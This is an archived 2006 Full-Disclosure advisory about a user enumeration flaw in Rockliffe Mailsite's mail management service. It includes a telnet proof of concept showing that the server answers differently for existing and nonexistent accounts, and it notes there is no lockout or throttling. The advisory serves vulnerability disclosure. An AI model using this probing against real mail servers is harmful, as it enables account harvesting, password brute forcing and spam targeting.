full-disclosure - Rockliffe Mailsite User Enumeration Flaw

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed Jan  4 16:05:58 2006
From: jzlatin at ramat.cc (Josh Zlatin)
Subject: Rockliffe Mailsite User Enumeration Flaw

Synopsis: Rockliffe's Mailsite Mail Management Server User Enumeration Flaw.

Product: Rockliffe Mailsite
  	 http://www.rockliffe.com

Version: Confirmed on Mailsite <= 7.0.3.1

Author: Josh Zlatin-Amishav

Date: January 4, 2006

Background:
Rockliffe MailSite secure email server software and MailSite MP secure email
gateways provide email server solutions and gateway email protection for 
businesses and service providers. Rockliffe has more than 3,000 customers 
hosting more than 15 million mailboxes worldwide.

Issue:
In working with researchers at Tenable Network Security, I have come across
a user enumeration flaw in the Mail Management Agent (MAILMA). The server 
responds differently depending on whether the user account exists. This affords
an attacker a means of brute forcing passwords and an effective means to 
cultivate valid email addresses for spam.

PoC:

josh@...z:~$ telnet 10.0.0.6 106
Trying 10.0.0.6...
Connected to 10.0.0.6 (10.0.0.6).
Escape character is '^]'.
200 Ok, "MailSite Mail Management Server (7.0.3.1) ready" 
user IDoNotExist
510 "Error 2 in OpenMailbox, The system cannot find the file specified. "
user postmaster
200 Ok, "send password"

In addition the MailMA service does not block / throttle connection attempts, 
or close a user account after a given number of unsuccessful attempts.

Vendor notified: January 3, 2006 06:12AM

Vendor Response:
Contact your sales rep about purchasing Mailsite 7.0.3.1 
(note version 7.0.3.1 is also vulnerable to this issue)

Solution:
None at this time.

References: http://www.rockliffe.com
References: http://zur.homelinux.com/Advisories/RockliffeMailsiteUserEnum.txt